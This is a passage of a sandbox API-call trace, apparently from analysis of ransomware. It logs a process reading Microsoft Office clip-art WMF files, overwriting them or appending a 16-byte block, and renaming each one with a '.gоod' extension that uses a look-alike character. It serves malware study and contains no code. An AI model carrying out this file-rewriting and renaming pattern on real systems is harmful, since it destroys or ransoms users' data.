(dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0244.882] GetFileType (hFile=0x768) returned 0x1 [0244.882] WriteFile (in: hFile=0x768, lpBuffer=0x3b0bfd0*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x3b0bfd0*, lpNumberOfBytesWritten=0x1faedb98*=0xd20, lpOverlapped=0x0) returned 1 [0244.883] CloseHandle (hObject=0x768) returned 1 [0244.883] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF", lpFilePart=0x0) returned 0x40 [0244.883] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.gоod", lpFilePart=0x0) returned 0x45 [0244.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0244.883] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8e2cb1ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd20)) returned 1 [0244.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0244.883] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.gоod")) returned 1 [0244.884] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF", lpFilePart=0x0) returned 0x44 [0244.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0244.884] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3b0d248 | out: lpFileInformation=0x3b0d248*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x714c)) returned 1 [0244.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0244.884] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF", lpFilePart=0x0) returned 0x44 [0244.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0244.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0244.885] GetFileType (hFile=0x768) returned 0x1 [0244.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0244.885] GetFileType (hFile=0x768) returned 0x1 [0244.885] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0244.885] ReadFile (in: hFile=0x768, lpBuffer=0x3b0d660, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3b0d660*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0244.885] CloseHandle (hObject=0x768) returned 1 [0244.886] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF", lpFilePart=0x0) returned 0x44 [0244.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0244.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0244.886] GetFileType (hFile=0x768) returned 0x1 [0244.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0244.886] GetFileType (hFile=0x768) returned 0x1 [0244.886] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x714c [0244.886] WriteFile (in: hFile=0x768, lpBuffer=0x3b0e990*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3b0e990*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0244.887] CloseHandle (hObject=0x768) returned 1 [0244.887] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF", lpFilePart=0x0) returned 0x44 [0244.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0244.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0244.887] GetFileType (hFile=0x768) returned 0x1 [0244.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0244.887] GetFileType (hFile=0x768) returned 0x1 [0244.887] ReadFile (in: hFile=0x768, lpBuffer=0x3b10c50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3b10c50*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0246.189] CloseHandle (hObject=0x768) returned 1 [0246.190] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF", lpFilePart=0x0) returned 0x44 [0246.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0246.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0246.190] GetFileType (hFile=0x768) returned 0x1 [0246.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0246.190] GetFileType (hFile=0x768) returned 0x1 [0246.190] WriteFile (in: hFile=0x768, lpBuffer=0x36d1258*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x36d1258*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0246.190] CloseHandle (hObject=0x768) returned 1 [0246.190] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF", lpFilePart=0x0) returned 0x44 [0246.190] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.gоod", lpFilePart=0x0) returned 0x49 [0246.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0246.190] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8ef4f6b7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x715c)) returned 1 [0246.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0246.190] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.gоod")) returned 1 [0246.191] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF", lpFilePart=0x0) returned 0x44 [0246.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0246.192] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x370a030 | out: lpFileInformation=0x370a030*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x532)) returned 1 [0246.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0246.192] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF", lpFilePart=0x0) returned 0x44 [0246.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0246.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0246.192] GetFileType (hFile=0x768) returned 0x1 [0246.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0246.192] GetFileType (hFile=0x768) returned 0x1 [0246.192] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x532 [0246.192] ReadFile (in: hFile=0x768, lpBuffer=0x370a810, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x370a810*, lpNumberOfBytesRead=0x1faedc88*=0x532, lpOverlapped=0x0) returned 1 [0246.193] CloseHandle (hObject=0x768) returned 1 [0247.416] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF", lpFilePart=0x0) returned 0x44 [0247.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0247.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0247.417] GetFileType (hFile=0x86c) returned 0x1 [0247.417] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0247.417] GetFileType (hFile=0x86c) returned 0x1 [0247.417] WriteFile (in: hFile=0x86c, lpBuffer=0x3c5cf88*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x3c5cf88*, lpNumberOfBytesWritten=0x1faedb98*=0x540, lpOverlapped=0x0) returned 1 [0247.417] CloseHandle (hObject=0x86c) returned 1 [0247.418] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF", lpFilePart=0x0) returned 0x44 [0247.418] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0247.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0247.418] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8faeeebc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x540)) returned 1 [0247.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0247.418] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.gоod")) returned 1 [0247.420] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF", lpFilePart=0x0) returned 0x44 [0247.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0247.420] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3c5e218 | out: lpFileInformation=0x3c5e218*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5a4)) returned 1 [0247.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0247.549] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF", lpFilePart=0x0) returned 0x44 [0247.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0247.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0247.549] GetFileType (hFile=0x808) returned 0x1 [0247.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0247.549] GetFileType (hFile=0x808) returned 0x1 [0247.549] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x5a4 [0247.549] ReadFile (in: hFile=0x808, lpBuffer=0x3861a28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x3861a28*, lpNumberOfBytesRead=0x1faedc88*=0x5a4, lpOverlapped=0x0) returned 1 [0247.552] CloseHandle (hObject=0x808) returned 1 [0247.578] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF", lpFilePart=0x0) returned 0x44 [0247.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0247.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0247.579] GetFileType (hFile=0x808) returned 0x1 [0247.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0247.579] GetFileType (hFile=0x808) returned 0x1 [0247.579] WriteFile (in: hFile=0x808, lpBuffer=0x38dad50*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x38dad50*, lpNumberOfBytesWritten=0x1faedb98*=0x5b0, lpOverlapped=0x0) returned 1 [0247.580] CloseHandle (hObject=0x808) returned 1 [0247.580] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF", lpFilePart=0x0) returned 0x44 [0247.580] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0247.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0247.580] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8fc92979, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5b0)) returned 1 [0247.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0247.580] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.gоod")) returned 1 [0247.581] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF", lpFilePart=0x0) returned 0x44 [0247.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0247.581] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x38dbfe0 | out: lpFileInformation=0x38dbfe0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f26)) returned 1 [0247.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0247.581] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF", lpFilePart=0x0) returned 0x44 [0247.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0247.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0247.582] GetFileType (hFile=0x808) returned 0x1 [0247.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0247.582] GetFileType (hFile=0x808) returned 0x1 [0247.582] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0247.582] ReadFile (in: hFile=0x808, lpBuffer=0x38dc3f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x38dc3f8*, lpNumberOfBytesRead=0x1faedd28*=0xf26, lpOverlapped=0x0) returned 1 [0247.860] CloseHandle (hObject=0x808) returned 1 [0247.891] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF", lpFilePart=0x0) returned 0x44 [0247.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0247.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0247.891] GetFileType (hFile=0x828) returned 0x1 [0247.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0247.891] GetFileType (hFile=0x828) returned 0x1 [0247.891] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1f26 [0247.891] WriteFile (in: hFile=0x828, lpBuffer=0x380fb00*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x380fb00*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0247.891] CloseHandle (hObject=0x828) returned 1 [0247.891] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF", nBufferLength=0x105, 